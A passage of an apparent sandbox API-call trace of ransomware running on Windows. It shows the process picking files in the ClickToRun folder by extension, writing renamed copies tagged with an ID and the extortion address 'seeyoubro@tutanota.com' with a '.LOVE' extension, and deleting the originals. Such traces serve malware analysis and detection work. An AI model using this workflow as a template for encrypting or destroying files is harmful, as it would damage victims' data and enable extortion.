shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0209.451] GetLastError () returned 0x0 [0209.451] ReadFile (in: hFile=0x348, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x50c0, lpOverlapped=0x0) returned 1 [0209.484] WriteFile (in: hFile=0x300, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x50d0, lpOverlapped=0x0) returned 1 [0209.485] ReadFile (in: hFile=0x348, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0209.485] WriteFile (in: hFile=0x300, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x11c, lpOverlapped=0x0) returned 1 [0209.485] SetEndOfFile (hFile=0x300) returned 1 [0209.486] CloseHandle (hObject=0x300) returned 1 [0209.487] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.487] SetEndOfFile (hFile=0x348) returned 1 [0209.488] CloseHandle (hObject=0x348) returned 1 [0209.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.488] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0209.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0209.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0209.489] lstrlenW (lpString=".doc") returned 4 [0209.489] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.489] lstrlenW (lpString=".docx") returned 5 [0209.489] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.489] lstrlenW (lpString=".pdf") returned 4 [0209.489] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.489] lstrlenW (lpString=".xls") returned 4 [0209.489] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.489] lstrlenW (lpString=".xlsx") returned 5 [0209.489] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.489] lstrlenW (lpString=".ppt") returned 4 [0209.489] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0209.489] lstrlenW (lpString=".zip") returned 4 [0209.489] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.489] lstrlenW (lpString=".rar") returned 4 [0209.489] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.489] lstrlenW (lpString=".bz2") returned 4 [0209.489] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.489] lstrlenW (lpString=".7z") returned 3 [0209.489] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0209.489] lstrlenW (lpString=".dbf") returned 4 [0209.489] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0209.489] lstrlenW (lpString=".1cd") returned 4 [0209.489] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0209.489] lstrlenW (lpString=".jpg") returned 4 [0209.489] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0209.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0209.490] lstrlenW (lpString=".doc") returned 4 [0209.490] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.490] lstrlenW (lpString=".docx") returned 5 [0209.490] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.490] lstrlenW (lpString=".pdf") returned 4 [0209.490] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.490] lstrlenW (lpString=".xls") returned 4 [0209.490] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.490] lstrlenW (lpString=".xlsx") returned 5 [0209.490] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.490] lstrlenW (lpString=".ppt") returned 4 [0209.490] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0209.490] lstrlenW (lpString=".zip") returned 4 [0209.490] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.490] lstrlenW (lpString=".rar") returned 4 [0209.490] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.490] lstrlenW (lpString=".bz2") returned 4 [0209.490] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.490] lstrlenW (lpString=".7z") returned 3 [0209.490] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0209.490] lstrlenW (lpString=".dbf") returned 4 [0209.490] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0209.490] lstrlenW (lpString=".1cd") returned 4 [0209.490] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0209.490] lstrlenW (lpString=".jpg") returned 4 [0209.490] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.491] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.491] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33 [0209.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0209.491] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=70848) returned 1 [0209.491] CloseHandle (hObject=0x348) returned 1 [0209.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0209.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0209.491] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.491] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0209.492] GetLastError () returned 0x0 [0209.492] ReadFile (in: hFile=0x348, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x114c0, lpOverlapped=0x0) returned 1 [0209.509] WriteFile (in: hFile=0x300, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x114d0, lpOverlapped=0x0) returned 1 [0209.511] ReadFile (in: hFile=0x348, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0209.511] WriteFile (in: hFile=0x300, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x116, lpOverlapped=0x0) returned 1 [0209.511] SetEndOfFile (hFile=0x300) returned 1 [0209.511] CloseHandle (hObject=0x300) returned 1 [0209.513] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.513] SetEndOfFile (hFile=0x348) returned 1 [0209.514] CloseHandle (hObject=0x348) returned 1 [0209.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.514] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0209.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0209.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0209.518] lstrlenW (lpString=".doc") returned 4 [0209.518] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.518] lstrlenW (lpString=".docx") returned 5 [0209.518] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.518] lstrlenW (lpString=".pdf") returned 4 [0209.518] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.518] lstrlenW (lpString=".xls") returned 4 [0209.518] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.518] lstrlenW (lpString=".xlsx") returned 5 [0209.518] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.519] lstrlenW (lpString=".ppt") returned 4 [0209.519] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0209.519] lstrlenW (lpString=".zip") returned 4 [0209.519] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.519] lstrlenW (lpString=".rar") returned 4 [0209.519] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.519] lstrlenW (lpString=".bz2") returned 4 [0209.519] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.519] lstrlenW (lpString=".7z") returned 3 [0209.519] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0209.519] lstrlenW (lpString=".dbf") returned 4 [0209.519] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0209.519] lstrlenW (lpString=".1cd") returned 4 [0209.519] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0209.519] lstrlenW (lpString=".jpg") returned 4 [0209.519] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0209.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0209.519] lstrlenW (lpString=".doc") returned 4 [0209.519] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.519] lstrlenW (lpString=".docx") returned 5 [0209.519] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.519] lstrlenW (lpString=".pdf") returned 4 [0209.519] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.519] lstrlenW (lpString=".xls") returned 4 [0209.519] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.519] lstrlenW (lpString=".xlsx") returned 5 [0209.519] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.519] lstrlenW (lpString=".ppt") returned 4 [0209.520] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0209.520] lstrlenW (lpString=".zip") returned 4 [0209.520] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.520] lstrlenW (lpString=".rar") returned 4 [0209.520] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.520] lstrlenW (lpString=".bz2") returned 4 [0209.520] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.520] lstrlenW (lpString=".7z") returned 3 [0209.520] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0209.520] lstrlenW (lpString=".dbf") returned 4 [0209.520] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0209.520] lstrlenW (lpString=".1cd") returned 4 [0209.520] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0209.520] lstrlenW (lpString=".jpg") returned 4 [0209.520] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.520] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.520] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31 [0209.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0209.522] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=24768) returned 1 [0209.522] CloseHandle (hObject=0x388) returned 1 [0209.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0209.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0209.523] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.524] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.537] GetLastError () returned 0x0 [0209.537] ReadFile (in: hFile=0x384, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x60c0, lpOverlapped=0x0) returned 1 [0209.628] WriteFile (in: hFile=0x364, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x60d0, lpOverlapped=0x0) returned 1 [0209.630] ReadFile (in: hFile=0x384, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0209.630] WriteFile (in: hFile=0x364, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x112, lpOverlapped=0x0) returned 1 [0209.630] SetEndOfFile (hFile=0x364) returned 1 [0209.636] CloseHandle (hObject=0x364) returned 1 [0209.639] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.639] SetEndOfFile (hFile=0x384) returned 1 [0209.641] CloseHandle (hObject=0x384) returned 1 [0209.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.642] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0209.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0209.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0209.642] lstrlenW (lpString=".doc") returned 4 [0209.642] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.642] lstrlenW (lpString=".docx") returned 5 [0209.642] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.642] lstrlenW (lpString=".pdf") returned 4 [0209.642] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.642] lstrlenW (lpString=".xls") returned 4 [0209.642] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.642] lstrlenW (lpString=".xlsx") returned 5 [0209.643] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.643] lstrlenW (lpString=".ppt") returned 4 [0209.643] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0209.643] lstrlenW (lpString=".zip") returned 4 [0209.643] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.643] lstrlenW (lpString=".rar") returned 4 [0209.643] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.643] lstrlenW (lpString=".bz2") returned 4 [0209.643] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.643] lstrlenW (lpString=".7z") returned 3 [0209.643] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0209.643] lstrlenW (lpString=".dbf") returned 4 [0209.643] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0209.643] lstrlenW (lpString=".1cd") returned 4 [0209.643] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0209.643] lstrlenW (lpString=".jpg") returned 4 [0209.643] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0209.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0209.643] lstrlenW (lpString=".doc") returned 4 [0209.643] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.643] lstrlenW (lpString=".docx") returned 5 [0209.643] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.643] lstrlenW (lpString=".pdf") returned 4 [0209.643] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.643] lstrlenW (lpString=".xls") returned 4 [0209.643] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.643] lstrlenW (lpString=".xlsx") returned 5 [0209.643] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.643] lstrlenW (lpString=".ppt") returned 4 [0209.644] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0209.644] lstrlenW (lpString=".zip") returned 4 [0209.644] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.644] lstrlenW (lpString=".rar") returned 4 [0209.644] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.644] lstrlenW (lpString=".bz2") returned 4 [0209.644] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.644] lstrlenW (lpString=".7z") returned 3 [0209.644] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0209.644] lstrlenW (lpString=".dbf") returned 4 [0209.644] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0209.644] lstrlenW (lpString=".1cd") returned 4 [0209.644] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0209.644] lstrlenW (lpString=".jpg") returned 4 [0209.644] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.644] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.644] lstrlenW (lpString="AppVIsvStreamingManager.dll") returned 27 [0209.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0209.644] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=210648) returned 1 [0209.644] CloseHandle (hObject=0x384) returned 1 [0209.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0209.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 